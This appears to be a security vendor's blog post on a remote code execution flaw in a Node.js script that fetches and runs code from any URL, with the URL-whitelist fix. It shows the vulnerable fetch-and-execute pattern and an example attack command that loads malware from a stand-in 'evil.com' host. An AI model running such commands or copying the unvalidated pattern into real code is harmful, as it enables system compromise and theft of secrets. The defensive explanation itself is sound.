Back to Blog
critical SEVERITY6 min read

How remote code execution happens in Node.js remote-run.js and how to fix it

A critical remote code execution vulnerability in `utils/remote-run.js` allowed attackers to execute arbitrary JavaScript code by passing any malicious URL to the script. The fix implements URL whitelist validation to ensure only trusted sources can be executed, preventing complete system compromise on any machine running the vulnerable code.

O
By Orbis AppSec
Published July 26, 2026Reviewed July 26, 2026

Answer Summary

This is a remote code execution (RCE) vulnerability in Node.js caused by fetching and executing arbitrary code from user-supplied URLs without validation. The vulnerability exists in `utils/remote-run.js` (CWE-94: Improper Control of Generation of Code). The fix implements a trusted base URL whitelist check that validates the target URL starts with `https://cdn.jsdelivr.net/gh/adamlui/` before fetching and executing any code, completely eliminating the attack surface.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code)
fixImplement URL whitelist validation requiring all URLs to start with a trusted base domain
riskComplete remote code execution on any system running the vulnerable script
languageJavaScript (Node.js)
root causeFetching and executing JavaScript code from arbitrary URLs without any validation or integrity checks
vulnerabilityRemote Code Execution (RCE) via Unvalidated URL Fetching

How Remote Code Execution Happens in Node.js remote-run.js and How to Fix It

The Attack That Could Compromise Any System

In the Orbis AppSec security audit, we discovered a critical remote code execution vulnerability in utils/remote-run.js that could allow attackers to execute arbitrary JavaScript code on any system where this script is run. The vulnerability is deceptively simple yet devastatingly powerful: the script blindly fetches JavaScript code from any URL provided as a command-line argument and executes it without any validation, integrity checks, or sandboxing.

This isn't a theoretical risk—it's an immediately exploitable vulnerability affecting any downstream consumers of this package. An attacker could invoke the script with a malicious URL, and the entire system would be compromised.

Understanding the Vulnerability

The Vulnerable Code Pattern

Let's examine the original code in utils/remote-run.js:

fetch(process.argv[2])
    .then(resp => resp.text())
    .then(code => {
        code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
        // code is then executed...
    })

This code has a critical flaw: it takes the second command-line argument (process.argv[2])—a URL provided by the user—and immediately fetches whatever content exists at that URL. The script then executes that content as JavaScript code without asking a single question:

  • Is this URL from a trusted source?
  • Has this code been tampered with?
  • Should this code even be allowed to run?

The answer to all three is "no" in the original code.

The Attack Scenario

An attacker could exploit this vulnerability like this:

# Attacker runs:
node utils/remote-run.js https://evil.com/malware.js

# The script fetches and executes arbitrary code from evil.com
# The attacker's malicious JavaScript runs with full Node.js capabilities:
# - Read/write files on the system
# - Make network requests
# - Execute system commands via child_process
# - Steal environment variables containing secrets
# - Compromise the entire application

For a library distributed via npm, this is catastrophic. Every consumer of this package becomes a potential attack target. An attacker could even compromise the application's CI/CD pipeline by injecting this script into build processes.

Why This Matters: The Real-World Impact

This vulnerability violates the principle of code origin verification. When you execute code, you must verify:

  1. Source authenticity: Is this code from where I think it's from?
  2. Code integrity: Has it been modified in transit?
  3. Authorization: Should this code be allowed to run?

The original remote-run.js skips all three checks. It's like opening your front door and letting anyone inside without checking who they are.

The Fix: URL Whitelist Validation

The fix implements a critical security control: trusted base URL validation. Here's what changed:

Before (Vulnerable):

fetch(process.argv[2])
    .then(resp => resp.text())
    .then(code => {
        code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
        // ... execution happens
    })

After (Secure):

const targetURL = process.argv[2]?.trim(),
      trustedBaseURL = 'https://cdn.jsdelivr.net/gh/adamlui/'

if (!targetURL || !targetURL.toLowerCase().startsWith(trustedBaseURL)) {
    console.error(`Error: URL must start w/ a trusted string (${trustedBaseURL})`)
    process.exit(1)
}

fetch(targetURL)
    .then(resp => resp.text())
    .then(code => {
        code = code.replace(/^#!.*\r?\n/m, '') // strip shebangs
        // ... execution happens
    })

What This Fix Does

The fix introduces three critical security improvements:

  1. URL Validation (Line 10): The code checks that the URL starts with https://cdn.jsdelivr.net/gh/adamlui/. This ensures code can only be fetched from a trusted, controlled source.

  2. Explicit Rejection (Lines 11-13): If the URL doesn't match the whitelist, the script prints an error message and exits with code 1, preventing any code execution.

  3. Safe String Operations: Using .toLowerCase() and .startsWith() prevents case-sensitivity bypasses and ensures consistent validation.

Why This Approach Works

By restricting execution to code hosted on https://cdn.jsdelivr.net/gh/adamlui/, the attack surface is dramatically reduced:

  • Attacker cannot inject arbitrary URLs: Even if they compromise the application, they can't point the script to their malicious server
  • Trusted CDN: jsDelivr is a widely-used, reputable CDN with security monitoring
  • Repository control: Code must be in the adamlui GitHub repository, which has access controls and audit trails
  • HTTPS enforcement: All code is transmitted over encrypted connections

Prevention & Best Practices

For Similar Code in Your Projects

If you have code that fetches and executes remote code, apply these principles:

  1. Implement URL Whitelisting: Maintain an explicit list of trusted domains. Use .startsWith() or URL parsing libraries to validate against this list.

```javascript
const TRUSTED_ORIGINS = [
'https://cdn.example.com/trusted/',
'https://github.com/myorg/scripts/raw/'
]

const isTrusted = TRUSTED_ORIGINS.some(origin =>
url.toLowerCase().startsWith(origin)
)
```

  1. Never Trust User Input for Code Execution: Even if the input comes from an environment variable or config file, validate it against a whitelist.

  2. Use Sandboxing: Consider using Node.js worker threads or separate processes with restricted permissions to isolate executed code.

  3. Implement Integrity Checking: Use cryptographic hashes (SHA-256) to verify code hasn't been tampered with:

javascript const crypto = require('crypto') const expectedHash = 'abc123...' // pre-computed hash const actualHash = crypto.createHash('sha256') .update(code) .digest('hex') if (actualHash !== expectedHash) throw new Error('Hash mismatch')

  1. Use Static Analysis: Tools like Semgrep can detect dangerous patterns like eval(), Function(), or fetch() followed by code execution.

OWASP & CWE References

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
  • OWASP A03:2021: Injection

How Orbis AppSec Detected This

Source: Command-line argument process.argv[2] containing a URL supplied by the user

Sink: The fetch(process.argv[2]) call in utils/remote-run.js:10 that retrieves code from an untrusted source, followed by code execution

Missing Control: No validation that the URL originates from a trusted source; no integrity verification; no sandboxing

CWE: CWE-94 (Improper Control of Generation of Code)

Fix: Validate that the target URL starts with the trusted base URL https://cdn.jsdelivr.net/gh/adamlui/ before fetching and executing any code

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Key Takeaways

  • Never execute code from user-supplied URLs without whitelist validation: The remote-run.js vulnerability demonstrates why this is critical
  • URL whitelisting is essential but not sufficient alone: Combine it with integrity checks, sandboxing, and minimal privilege execution
  • Static analysis catches these patterns: Tools can identify dangerous fetch() → execution flows before they reach production
  • Trusted CDN hosting adds a layer of defense: By restricting to cdn.jsdelivr.net/gh/adamlui/, you inherit GitHub's and jsDelivr's security controls
  • Always validate command-line arguments: Even though process.argv seems like a "trusted" source, it's controlled by whoever invokes the script

Conclusion

The remote code execution vulnerability in utils/remote-run.js is a stark reminder that code execution is the most dangerous operation in any programming language. When you execute code, you must verify its origin and integrity.

The fix—implementing URL whitelist validation—is elegant and effective. It reduces the attack surface from "any URL on the internet" to "only URLs from a trusted source." This is a pattern you should apply to any code that fetches and executes remote content.

If you maintain a library that runs user-supplied code in any form, audit your code immediately for similar vulnerabilities. Use static analysis tools, implement whitelisting, and consider sandboxing. Your users' security depends on it.


Prevention and further reading

Frequently Asked Questions

What CWE covers this vulnerability?

CWE-94 (Improper Control of Generation of Code) covers situations where code generation or interpretation is not properly controlled, allowing attackers to inject malicious code.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #278

Related Articles

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How dependabot-missing-cooldown happens in GitHub Actions/Node.js and how to fix it

The repository's `.github/dependabot.yml` had no cooldown period configured, meaning Dependabot could immediately propose updates to newly published package versions with zero time for the community to flag malware or instability. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, forcing a 7-day waiting period before new releases are surfaced as update PRs.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.